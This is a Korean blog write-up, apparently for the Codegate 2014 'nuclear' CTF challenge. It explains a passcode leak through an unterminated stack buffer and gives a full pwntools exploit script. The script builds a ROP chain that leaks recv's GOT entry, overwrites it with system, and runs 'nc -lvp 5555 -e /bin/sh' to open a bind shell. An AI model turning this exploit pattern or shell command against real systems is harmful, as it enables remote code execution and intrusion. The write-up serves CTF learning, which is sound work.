본문 바로가기

CTF

[Codegate 2014] nuclear

일단 포트는 1129 이며, 서버에 있는 passcode 파일을 read한 후 launch 에서 비교하는데 일단 passcode를 알아내야한다.

else 부분에 있는 "unknown command : %s" 에서 릭한걸 출력하면 될거 같다 

스택은 다음과 같다. s1[512] + v4[4] + v5[4] + s[32]

저 s[32]에 passcode가 들어가있는데 recv에서 512만큼밖에 입력을 안받기 때문에 8byte가 비어 s를 추출하지 못한다.

하지만 8byte를 채울 수 있는 방법이 있는데 바로 target 부분이다.

여기서 v4와 v5 변수에 위도 경도값을 넣을 수 있는데 sscanf으로 넣기 때문에 null값이 채워지지 않는다.

그렇기에 먼저 target에서 값 넣어준 다음 "A"*512 넣어주면 leak 된다.

그 다음 recv, send 이용해서 rop 해주면 된다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from time import *
 
= remote('localhost'1129)
= ELF('./nuclear')
 
cmd = 'nc -lvp 5555 -e /bin/sh'
recv_got = e.got['recv']
ppppr = 0x804917c
offset = 0x18a5a0 #recv - system
 
#passcode leak
print p.sendlineafter('> ''target')
p.sendlineafter('---> ''34.2/35.2')
p.sendlineafter('> ''A'*512)
passcode = p.recv(1024)
print passcode
passcode = passcode[542 : len(passcode)-2]
print '[+] passcode is ' + passcode 
p.close()
 
 
#rop start
payload = ''
payload += 'A'*528
 
#cmd -> bss
payload += p32(e.plt['recv'])
payload += p32(ppppr)    
payload += p32(4)
payload += p32(e.bss())
payload += p32(len(cmd)+1)
payload += p32(0)
 
#recv leak
payload += p32(e.plt['send'])
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)
 
#recv_got -> system
payload += p32(e.plt['recv'])
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)
 
#system(cmd)
payload += p32(e.plt['recv'])
payload += 'AAAA'
payload += p32(e.bss())
 
= remote('localhost'1129)
print p.sendlineafter('> ''launch')
print p.sendlineafter(' : ', passcode)
print p.recv(1024)
 
p.sendline(payload)
print p.recv(1024)
p.sendline(cmd)
 
recv = u32(p.recv(4))
print '[+] recv = ' + hex(recv)
print '[+] system = ' + hex(recv - offset)
p.sendline(p32(recv - offset))
 
print 'nc localhost 5555'
 
cs

첫번째 터미널은 문제 프로세스 실행시켜주고

두번째 터미널에서 익스 돌린 후 5555 포트 열여준 곳으로 이동해 쉘이 따진걸 확인할 수 있었다.

'CTF' 카테고리의 다른 글

[Codegate 2017] babypwn  (0) 2018.02.23
[Codegate 2016] watermelon  (0) 2018.02.23
[Codegate 2014] angry_doraemon  (0) 2018.02.22
[Plaid 2013] ropasaurusrex  (0) 2018.02.18
[Codegate 2018] Welcome to droid  (0) 2018.02.09